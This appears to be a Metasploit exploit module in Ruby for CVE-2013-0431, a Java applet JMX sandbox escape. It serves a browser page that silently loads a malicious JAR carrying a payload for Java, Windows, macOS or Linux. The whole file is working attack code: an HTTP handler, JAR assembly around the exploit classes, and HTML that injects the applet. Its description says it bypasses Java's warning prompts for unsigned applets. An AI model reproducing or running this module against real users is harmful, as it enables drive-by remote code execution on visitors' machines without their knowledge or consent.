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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::EXE
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  #include Msf::Exploit::Remote::BrowserAutopwn
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  #autopwn_info({ :javascript => false })
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  def initialize( info = {} )
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    super( update_info( info,
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      'Name'          => 'Java Applet JMX Remote Code Execution',
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      'Description'   => %q{
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          This module abuses the JMX classes from a Java Applet to run arbitrary Java code
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        outside of the sandbox as exploited in the wild in February of 2013. Additionally,
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        this module bypasses default security settings introduced in Java 7 Update 10 to run
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        unsigned applet without displaying any warning to the user.
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      },
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      'License'       => MSF_LICENSE,
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      'Author'        =>
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        [
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          'Unknown', # Vulnerability discovery and exploit in the wild
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          'Adam Gowdiak', # Vulnerability discovery
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          'SecurityObscurity', # Exploit analysis and deobfuscation
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          'juan vazquez' # Metasploit module
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        ],
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      'References'    =>
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        [
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          [ 'CVE', '2013-0431' ],
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          [ 'OSVDB', '89613' ],
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          [ 'BID', '57726' ],
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          [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],
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          [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],
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          [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],
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          [ 'URL', 'http://pastebin.com/QWU1rqjf' ],
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          [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]
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        ],
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      'Platform'      => %w{ java linux osx win },
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      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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      'Targets'       =>
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        [
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          [ 'Generic (Java Payload)',
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            {
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              'Platform' => ['java'],
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              'Arch' => ARCH_JAVA,
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            }
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          ],
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          [ 'Windows x86 (Native Payload)',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_X86,
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            }
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          ],
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          [ 'Mac OS X x86 (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X86,
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            }
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          ],
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          [ 'Linux x86 (Native Payload)',
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            {
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              'Platform' => 'linux',
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              'Arch' => ARCH_X86,
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            }
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          ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2013-01-19'
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    ))
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  end
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  def on_request_uri(cli, request)
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    print_status("handling request for #{request.uri}")
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    case request.uri
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    when /\.jar$/i
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      print_status("Sending JAR")
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      send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } )
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    when /\/$/
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      print_status("Sending HTML")
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      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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    else
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      send_redirect(cli, get_resource() + '/', '')
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    end
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  end
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  def generate_jar
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    paths = [
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      [ "Exploit.ser" ],
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      [ "Exploit.class" ],
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      [ "B.class" ]
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    ]
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    p = regenerate_payload(cli)
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    jar  = p.encoded_jar
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    paths.each do |path|
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      1.upto(path.length - 1) do |idx|
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        full = path[0,idx].join("/") + "/"
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        if !(jar.entries.map{|e|e.name}.include?(full))
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          jar.add_file(full, '')
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        end
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      end
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      fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0431", path ), "rb")
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      data = fd.read(fd.stat.size)
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      jar.add_file(path.join("/"), data)
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      fd.close
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    end
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    return  jar.pack
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  end
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  def generate_html
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    html = <<-EOF
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<html>
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<script language="Javascript">
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var _app = navigator.appName;
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if (_app == 'Microsoft Internet Explorer') {
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document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>');
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} else {
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document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>');
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}
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</script>
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</html>
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    EOF
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    return html
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  end
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end
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